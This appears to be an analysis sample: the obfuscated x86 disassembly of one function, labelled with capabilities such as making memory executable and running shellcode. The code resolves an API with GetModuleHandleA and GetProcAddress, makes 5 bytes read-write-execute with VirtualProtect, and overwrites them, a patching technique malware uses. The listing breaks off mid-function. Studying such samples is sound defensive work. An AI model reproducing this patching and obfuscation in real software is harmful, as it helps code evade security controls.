Function at 0x100feda0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x80
mov esi, esp
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x40], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x44], eax
mov eax, dword [0x101d0fc8]
xor eax, ebp
mov dword [esi + 0x78], eax
mov eax, dword [0x101cee3c]
and eax, dword [0x101cee40]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5300226f
mov edx, 0xffffffff
xor edx, 0x5300226f
and eax, edx
sub eax, ecx
mov ecx, 0x33fc521f
xor edx, edx
div ecx
mov edi, eax
add edi, 0x19df0bf4
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x2594c1e4
mov edx, 0xffffffff
xor edx, 0x2594c1e4
mov eax, edi
and eax, edx
imul eax, ecx
mov ecx, edi
and ecx, 0x2594c1e4
or edi, 0x2594c1e4
imul edi, ecx
add edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x3ed0958a
mov edx, 0xffffffff
xor edx, 0x3ed0958a
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xd64e62
and ecx, 0x3ed0958a
and edx, 0xd64e62
or eax, edi
or ecx, edx
xor eax, ecx
imul eax, eax, 0x7e17bc95
mov ecx, 0x7643ee6b
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x6c8afaf7
add eax, ecx
add eax, 1
imul eax, eax, 0x3138001
mov ecx, 0x10644f03
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc066a108
mov ecx, 0xffffffff
xor ecx, 0xa6a66cfc
or eax, edx
or ecx, 0xa6a66cfc
xor eax, 0xffffffff
and eax, ecx
imul eax, eax, 0x3d529fbd
sub eax, 0xa236d4f2
mov edx, 0xffffffff
xor edx, 0xf76a380b
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xf76a380b
add eax, edx
sub eax, ecx
xor eax, 0xfaaf4fb3
sub eax, 0xb3855a27
mov edi, eax
and edi, 0x7aca500
xor eax, 0x7aca500
or edi, eax
add edi, 0x9efb49bb
mov edx, 0xffffffff
xor edx, 0xaa7e2536
mov ecx, edi
and ecx, edx
mov eax, edi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, edi
and ecx, 0xaa7e2536
or edi, 0xaa7e2536
imul edi, ecx
add edi, eax
sub edi, 0x6e733454
mov edx, 0xffffffff
xor edx, 0xe211a1a0
mov ecx, edi
and ecx, edx
mov eax, edi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, edi
and ecx, 0xe211a1a0
or edi, 0xe211a1a0
imul edi, ecx
add edi, eax
sub edi, 0x155ef939
sub edi, 0xa58dff0c
add edi, 0x155ef939
xor edi, 0x3fdbc744
sub edi, 0x514fc314
sub edi, 0xe88f667d
add edi, 0x514fc314
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xc7da6a5a
mov edx, 0xffffffff
xor edx, 0xc7da6a5a
and edi, edx
mov eax, 0xffffffff
xor eax, 0xfb3f29ee
and eax, 0xc7da6a5a
and edx, 0xfb3f29ee
or ecx, edi
or eax, edx
xor ecx, eax
xor ecx, 0x941cb318
mov eax, ecx
xor eax, 0xffffffff
mov dword [esi + 0x4c], eax
mov edi, 0xffffffff
xor edi, 0x489e1c6
mov edx, 0xffffffff
xor edx, 0x158788cf
and eax, 0x158788cf
mov dword [esi + 0x48], eax
and ecx, edx
mov ebx, edi
and ebx, 0x158788cf
mov eax, edx
and eax, 0x489e1c6
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x48]
or eax, ecx
mov ecx, dword [esi + 0x4c]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x50]
or ebx, eax
mov eax, dword [esi + 0x54]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x158788cf
and ecx, edx
or eax, ecx
mov edi, eax
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x70ec72b2
or edi, ecx
and eax, 0x70ec72b2
xor eax, 0xffffffff
and edi, eax
xor edi, 0xffffffff
sub edi, 0xfde89cc0
add edi, 0x745a5d5f
sub edi, 0x625f6a12
sub edi, 0x7bb9ef4c
or edi, 0x4d5328ea
mov eax, 0xffffffff
xor eax, 0x7f164575
add edi, eax
add edi, 1
mov eax, edi
xor eax, 0xffffffff
and eax, 0x54021122
mov edx, 0xffffffff
xor edx, 0x54021122
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x5e4a2d1f
and ecx, 0x54021122
and edx, 0x5e4a2d1f
or eax, edi
or ecx, edx
xor eax, ecx
xor eax, 0xe1f7cef
mov edx, eax
xor edx, 0xffffffff
and edx, 0x938f7da1
mov edi, 0xffffffff
xor edi, 0x938f7da1
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x938f7da1
or eax, 0x938f7da1
imul eax, edx
add eax, ecx
mov ecx, 0x1e0ae53f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [esi + 0x5c], eax
mov edi, 0xffffffff
xor edi, 0x9d855661
mov edx, 0xffffffff
xor edx, 0x325fbb7c
and eax, 0x325fbb7c
mov dword [esi + 0x58], eax
and ecx, edx
mov ebx, edi
and ebx, 0x325fbb7c
mov eax, edx
and eax, 0x9d855661
mov dword [esi + 0x60], eax
mov eax, dword [esi + 0x58]
or eax, ecx
mov ecx, dword [esi + 0x5c]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x60]
or ebx, eax
mov eax, dword [esi + 0x64]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x325fbb7c
and ecx, edx
or eax, ecx
mov dword [esi + 0x74], 0x7802ab6e
lea ecx, [esi + 0x74]
mov dword [esi + 0x70], ecx
add eax, 0xa491e176
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x70]
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x74]
mov dword [esi + 0x3c], eax
sub eax, 0x93849f6f
je 0x10100276
jmp 0x100ff167
mov eax, dword [esi + 0x3c]
sub eax, 0xa7ba6e6b
je 0x100ff3be
jmp 0x100ff17a
mov eax, dword [esi + 0x3c]
sub eax, 0xcdc9d7e7
je 0x10100c55
jmp 0x100ff18d
mov eax, dword [esi + 0x3c]
sub eax, 0xce44a211
je 0x10100b30
jmp 0x100ff1a0
mov eax, dword [esi + 0x3c]
sub eax, 0xd3f28d9a
je 0x10100c37
jmp 0x100ff1b3
mov eax, dword [esi + 0x3c]
sub eax, 0xc63bef1
je 0x100ff9cb
jmp 0x100ff1c6
mov eax, dword [esi + 0x3c]
sub eax, 0xdd47af2
je 0x10100b96
jmp 0x100ff1d9
mov eax, dword [esi + 0x3c]
sub eax, 0xff0a56b
je 0x10100b88
jmp 0x100ff1ec
mov eax, dword [esi + 0x3c]
sub eax, 0x124458df
je 0x100fff84
jmp 0x100ff1ff
mov eax, dword [esi + 0x3c]
sub eax, 0x20cc3d02
je 0x1010083b
jmp 0x100ff212
mov eax, dword [esi + 0x3c]
sub eax, 0x2b813335
je 0x100ffc9f
jmp 0x100ff225
mov eax, dword [esi + 0x3c]
sub eax, 0x36082495
je 0x100ff6f9
jmp 0x100ff238
mov eax, dword [esi + 0x3c]
sub eax, 0x36678275
je 0x100fff3c
jmp 0x100ff24b
mov eax, dword [esi + 0x3c]
sub eax, 0x38d910e8
je 0x1010084d
jmp 0x100ff25e
mov eax, dword [esi + 0x3c]
sub eax, 0x3ce90227
je 0x100ff308
jmp 0x100ff271
mov eax, dword [esi + 0x3c]
sub eax, 0x3e9dce16
je 0x10100caf
jmp 0x100ff284
mov eax, dword [esi + 0x3c]
sub eax, 0x62fe5549
je 0x10100555
jmp 0x100ff297
mov eax, dword [esi + 0x3c]
sub eax, 0x63588d9c
je 0x100ff3ff
jmp 0x100ff2aa
mov eax, dword [esi + 0x3c]
sub eax, 0x63c7b99d
je 0x100ff3db
jmp 0x100ff2bd
mov eax, dword [esi + 0x3c]
sub eax, 0x7249de83
je 0x10100c95
jmp 0x100ff2d0
mov eax, dword [esi + 0x3c]
sub eax, 0x7802ab6e
je 0x100ff2e8
jmp 0x100ff2e3
jmp 0x10100cfe
mov eax, dword [esi + 0x6c]
mov edi, dword [esi + 0x68]
mov ecx, 0xdd47af2
mov edx, 0x3ce90227
cmp edi, 0x887b70db
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov edi, 5
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edx, esp
mov ebx, edx
mov dword [esi + 0x34], ebx
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 0x30], ebx
mov esp, ebx
mov ebx, dword [esi + 0x40]
mov dword [ecx], ebx
mov ebx, dword [esi + 0x44]
mov dword [eax], ebx
mov dword [edx], 0
mov ecx, dword [ecx]
mov dword [esi + 0x2c], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
mov edx, dword [esi + 0x2c]
mov ecx, eax
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov ecx, dword [esi + 0x30]
mov edx, eax
mov eax, dword [esi + 0x34]
mov dword [ecx], edx
mov dword [ecx + 4], 0
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 5
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, eax
mov eax, dword [esi + 0x6c]
cmp ecx, 0
setne cl
mov byte [esi + 0x3b], cl
mov ecx, 0xa7ba6e6b
mov edx, 0x3ce90227
cmp edi, 0x91a534aa
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [esi + 0x6c]
mov bl, byte [esi + 0x3b]
mov ecx, 0x63588d9c
mov edx, 0x63c7b99d
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x30]
mov ecx, dword [ecx]
mov edx, dword [0x101d2424]
mov dword [ecx], edx
mov dl, byte [0x101d2428]
mov byte [ecx + 4], dl
mov dword [eax], 0x63588d9c
jmp 0x10100cfe
mov eax, dword [0x101cee4c]
mov edx, dword [0x101cee50]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
imul eax, eax, 0xd673b686
imul eax, eax, 0xda4b2179
xor eax, 0xcda02ef8
imul eax, eax, 0x6d077c4a
mov edi, 0xffffffff
xor edi, 0xd3318a7
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd3318a7
or eax, 0xd3318a7
imul eax, edx
add eax, ecx
sub eax, 0x6142fa8
add eax, 0x9920c515
sub eax, 0x5c84c067
sub eax, 0x9920c515
and eax, 0x43d0aa95
mov ecx, 0xd20c6a4f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x46591d99
or ecx, edx
mov edx, 0x46591d99
and edx, 0x46591d99
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x9720d6ce
mov edi, 0xffffffff
xor edi, 0x9720d6ce
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x9720d6ce
or ecx, 0x9720d6ce
imul ecx, edx
add ecx, eax
mov eax, ecx
or eax, 0x32f693a2
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x32f693a2
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xdf2e0838
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x8a83b960
mov edi, 0xffffffff
xor edi, 0xe5164e3b
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xe5164e3b
or ecx, 0xe5164e3b
imul ecx, edx
add ecx, eax
add ecx, 0x5ccf7b8e
sub ecx, 0xfdbbf6e8
sub ecx, 0x5ccf7b8e
mov eax, ecx
xor eax, 0x18002d8e
xor eax, 0xffffffff
and eax, 0x18002d8e
shl eax, 1
sub eax, 0x18002d8e
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa64cc656
mov edi, 0xffffffff
xor edi, 0xa64cc656
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0xa64cc656
or ecx, 0xa64cc656
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xee961e3d
xor eax, 0xffffffff
or ecx, 0xee961e3d
and ecx, eax
mov edx, 0xffffffff
xor edx, 0xf3e2bd41
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, eax
and ecx, 0xe1219ad9
or eax, 0xe1219ad9
add ecx, eax
sub ecx, 0xa7b30afd
add ecx, 0x3515d019
sub ecx, 0x430ccbd2
sub ecx, 0x3515d019
add ecx, 0xa8461698
xor ecx, 0x15719069
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xed4db4af
mov edx, 0xffffffff
xor edx, 0xed4db4af
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul ecx, eax, 0x5e421b2c
or ecx, 0x64834057
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x7c2447ca
mov edx, 0xffffffff
xor edx, 0x7c2447ca
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xb9fe0e8e
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x6c]
and ecx, 0xaf480428
mov edx, ecx
xor edx, 0xb7fd3133
xor edx, 0xffffffff
and edx, 0xb7fd3133
shl edx, 1
sub edx, 0xb7fd3133
sub ecx, edx
xor edx, edx
sub edx, 0x818355fc
sub ecx, edx
mov edi, ecx
xor edi, 0xffffffff
and edi, 0xb91352fa
mov ebx, 0xffffffff
xor ebx, 0xb91352fa
mov edx, ecx
and edx, ebx
imul edx, edi
mov edi, ecx
and edi, 0xb91352fa
or ecx, 0xb91352fa
imul ecx, edi
add ecx, edx
mov edi, ecx
and edi, 0x6cebfe32
or ecx, 0x6cebfe32
add edi, ecx
or edi, 0xa2f46f2a
and edi, 0xf2d20709
add edi, 0x1a766ad0
and edi, 0xc0d4ae34
or edi, 0xc2130e79
mov ecx, 0x36082495
mov edx, 0xd3f28d9a
cmp edi, 0x24c04c4f
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov edi, dword [0x101cee54]
and edi, dword [0x101cee58]
xor edi, 0xa05b7cad
sub edi, 0xadbdc4f6
xor edi, 0x9540d943
sub edi, 0xb5b4338b
mov eax, edi
xor eax, 0xffffffff
and eax, 0xb9023129
mov edx, 0xffffffff
xor edx, 0xb9023129
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x7b99889d
and ecx, 0xb9023129
and edx, 0x7b99889d
or eax, edi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb25d4881
mov edi, 0xffffffff
xor edi, 0xb25d4881
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xb25d4881
or eax, 0xb25d4881
imul eax, edx
add eax, ecx
add eax, 0x4f04009f
sub eax, 0xabd68abe
sub eax, 0x4f04009f
add eax, 0x9c4fd419
mov ecx, eax
and ecx, 0xbc49b952
xor eax, 0xbc49b952
or ecx, eax
sub ecx, 0x565cbf7a
add ecx, 0xdae85162
add ecx, 0x565cbf7a
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xb90e26a6
mov edx, 0xffffffff
xor edx, 0xb90e26a6
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0x3b18e9a5
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x45b62018
mov eax, 0xffffffff
xor eax, 0xa2dcd3c4
or ecx, edx
or eax, 0xa2dcd3c4
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe42fedf2
or eax, edx
mov edx, 0xe42fedf2
and edx, 0xe42fedf2
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor ecx, ecx
sub ecx, 0xb0ecd02
add eax, ecx
mov ecx, 0x2de0c7ef
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xb0f81853
mov edi, 0xffffffff
xor edi, 0xb0f81853
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0xb0f81853
or ecx, 0xb0f81853
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x4e0a8916
xor eax, 0xffffffff
and ecx, 0x4e0a8916
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0xd2004f7
or eax, 0xd2004f7
add ecx, eax
mov eax, ecx
and eax, 0xa3f98a5e
xor ecx, 0xa3f98a5e
or eax, ecx
sub eax, 0x90d91d46
and eax, 0x9c49df96
mov ecx, eax
xor ecx, 0x26180808
xor ecx, 0xffffffff
and ecx, 0x26180808
shl ecx, 1
sub ecx, 0x26180808
sub eax, ecx
xor eax, 0xb6a71b92
and eax, 0xd9e9fe0a
sub eax, 0x4733f696
sub eax, 0x35d5d42f
add eax, 0x4733f696
or eax, 0x41740a4e
mov ecx, 0xce2772f5
xor edx, edx
div ecx
imul eax, eax, 0x759a0251
add eax, 0x9328ce5b
add eax, 0x300afc60
add eax, 0xb09a65d4
sub eax, 0x300afc60
mov ecx, eax
or ecx, 0xdee83a48
xor ecx, 0xffffffff
or eax, 0xdee83a48
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0xbca6bc73
or ecx, 0xbca6bc73
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x9623a524
add eax, ecx
or eax, 0x1fdd7be4
mov ecx, eax
xor ecx, 0xfa645fa1
xor ecx, 0xffffffff
or eax, 0xfa645fa1
and eax, ecx
sub eax, 0xecf27f46
mov edx, 0xffffffff
xor edx, 0xc3638841
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xc3638841
add eax, edx
sub eax, ecx
mov ecx, 0xacc7c27b
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x6c]
mov edi, ecx
xor edi, 0xffffffff
and edi, 0xd0c59294
mov edx, 0xffffffff
xor edx, 0xd0c59294
and ecx, edx
or edi, ecx
mov ecx, 0x36082495
mov edx, 0xc63bef1
cmp edi, 0xd5b2628f
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [0x101cee5c]
or eax, dword [0x101cee60]
or eax, 0x5ea9e136
mov ecx, 0x73b6d3f8
xor edx, edx
div ecx
and eax, 0x52971e7a
add eax, 0x8cc46e79
sub eax, 0xb4917aa9
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
and ecx, 0xd1b7bfaf
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd1b7bfaf
mov edi, 0xffffffff
xor edi, 0xd1b7bfaf
or edx, edi
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xc3f6bca2
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xd85e4de1
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xd1df6c2e
or edx, 0xd1df6c2e
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd1df6c2e
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0x3ca3fa3b
xor ecx, 0xffffffff
and ecx, 0x3ca3fa3b
shl ecx, 1
sub ecx, 0x3ca3fa3b
sub eax, ecx
add eax, 0xfde65482
mov edi, 0xffffffff
xor edi, 0x99bbd59
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x99bbd59
or eax, 0x99bbd59
imul eax, edx
add eax, ecx
mov ecx, 0xf6a2a5c1
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x25787cfe
add ecx, 0xf8cd9f21
sub ecx, 0x25787cfe
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf452cd0c
mov edx, 0xffffffff
xor edx, 0xf452cd0c
and ecx, edx
or eax, ecx
and eax, 0x1759f1a0
and eax, 0x73d39ec0
sub eax, 0x880a872
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x3e920d53
mov edx, 0xffffffff
xor edx, 0x3e920d53
and eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0x5efb71ec
sub eax, ecx
add eax, 0x5c63edc0
mov ecx, 0xa76c5755
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x86bdb8e9
mov eax, ecx
and eax, 0xb9b294fb
xor eax, 0xffffffff
and ecx, 0xb9b294fb
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9b929f19
mov edi, 0xffffffff
xor edi, 0x9b929f19
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x9b929f19
or eax, 0x9b929f19
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x5034c9a7
add eax, ecx
add eax, 1
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe2da68a4
mov ecx, 0xffffffff
xor ecx, 0xc4e84049
or eax, edx
or ecx, 0xc4e84049
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x10554d70
xor edx, edx
div ecx
add eax, 0x98055036
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x49a2e7a2
mov ecx, 0xffffffff
xor ecx, 0x9783c37d
or eax, edx
or ecx, 0x9783c37d
xor eax, 0xffffffff
and eax, ecx
xor eax, 0xf2ab086f
xor eax, 0xc13eb12b
mov ecx, 0x66b29eb1
xor edx, edx
div ecx
add eax, 0xe54fa442
mov ecx, eax
xor ecx, 0x415fa4ff
mov edx, 0xffffffff
xor edx, 0x415fa4ff
and eax, edx
shl eax, 1
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0xd1c84d05
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xd1c84d05
add eax, edx
sub eax, ecx
add eax, 0xd2dd546
mov ecx, eax
and ecx, 0x5b55a9f
shl ecx, 1
add eax, 0x5b55a9f
sub eax, ecx
mov ecx, 0x839d840c
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x6c]
mov edi, ecx
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7260ab6a
and edi, edx
or ecx, 0x7260ab6a
xor ecx, 0xffffffff
or edi, ecx
xor edi, 0xffffffff
mov ecx, 0x2b813335
mov edx, 0x38d910e8
cmp edi, 0xa7c1f35c
cmove ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov edi, dword [0x101cee64]
imul edi, dword [0x101cee68]
mov eax, edi
xor eax, 0xffffffff
and eax, 0x1f2b842c
mov ecx, 0xffffffff
xor ecx, 0x1f2b842c
and edi, ecx
sub edi, eax
mov eax, 0xffffffff
xor eax, 0x26f3513b
add edi, eax
add edi, 1
mov eax, edi
and eax, 0xef1336ac
shl eax, 1
add edi, 0xef1336ac
sub edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xb382b7
mov edx, 0xffffffff
xor edx, 0xb382b7
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xf02d3125
and ecx, 0xb382b7
and edx, 0xf02d3125
or eax, edi
or ecx, edx
xor eax, ecx
imul eax, eax, 0xaecae238
mov ecx, 0x92f04340
xor edx, edx
div ecx
imul eax, eax, 0x56416a18
xor eax, 0xb22df3cb
add eax, 0x75477457
imul eax, eax, 0xabbb9ccc
add eax, 0x13c3ac31
mov edi, 0xffffffff
xor edi, 0x77fade51
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x77fade51
or eax, 0x77fade51
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xf778dcb
mov edx, 0xffffffff
xor edx, 0xf778dcb
and eax, edx
shl eax, 1
sub eax, ecx
or eax, 0xa0958a6c
add eax, 0xc62f59d2
and eax, 0x933b7436
add eax, 0x633768bc
add eax, 0x87804434
mov edi, 0xffffffff
xor edi, 0x72f822fc
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x72f822fc
or eax, 0x72f822fc
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x4572d488
mov edx, 0xffffffff
xor edx, 0x4572d488
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
add ecx, 0x1583f0ef
mov eax, ecx
and eax, 0x710c452e
xor eax, 0xffffffff
add ecx, 0x710c452e
add ecx, 1
add ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x7fd7a1cd
and eax, 0x7fd7a1cd
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x56406d74
or edx, 0x56406d74
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x56406d74
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe31d4212
mov edi, 0xffffffff
xor edi, 0xe31d4212
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0xe31d4212
or eax, 0xe31d4212
imul eax, edx
add eax, ecx
mov ecx, 0x86033dea
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x44b3662b
shl ecx, 1
xor eax, 0x44b3662b
add eax, ecx
mov ecx, 0x24fdc34d
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x6c]
sub ecx, 0x88ef621a
xor ecx, 0xc8a690db
and ecx, 0x6239b70d
and ecx, 0xcaa752ec
and ecx, 0x290a5aa0
mov edx, ecx
add edx, 1
xor ecx, 0xffffffff
or ecx, 0x9bfafcc1
add ecx, edx
imul edi, ecx, 0xe0ae4443
xor ecx, ecx
sub ecx, 0xeff2fddd
sub edi, ecx
add edi, 0xe87a7a6d
add edi, 0xd8fef8b3
add edi, 0x2d8bebe8
or edi, edi
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x68d740c0
mov edx, 0xffffffff
xor edx, 0x68d740c0
and ecx, edx
xor edi, 0xffffffff
xor ecx, 0xffffffff
and edi, ecx
mov ecx, 0x36678275
mov edx, 0xcdc9d7e7
cmp edi, 0xa48db0ef
cmova ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x30]
mov edi, 0x7cd39207
mov ecx, dword [eax]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 5
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x6c]
mov ecx, 0x124458df
mov edx, 0x36678275
cmp edi, 0x8a38086
cmove ecx, edx
mov dword [eax], ecx
jmp 0x10100cfe
mov edi, dword [0x101cee74]
sub edi, dword [0x101cee78]
mov edx, 0xffffffff
xor edx, 0x3d020b86
mov ecx, edi
and ecx, edx
mov eax, edi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, edi
and ecx, 0x3d020b86
or edi, 0x3d020b86
imul edi, ecx
add edi, eax
sub edi, 0xb75f33cf
or edi, 0x696281b0
add edi, 0x9cf14c9d
sub edi, 0x8a904b10
sub edi, 0x9cf14c9d
mov eax, edi
xor eax, 0xffffffff
and eax, 0x5ba29848
mov edx, 0xffffffff
xor edx, 0x5ba29848
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xc4b212e0
and ecx, 0x5ba29848
and edx, 0xc4b212e0
or eax, edi
or ecx, edx
xor eax, ecx
imul eax, eax, 0xe88a503e
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0x7f448f7c
xor ecx, 0xffffffff
mov edx, 0x7f448f7c
and edx, 0x7f448f7c
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
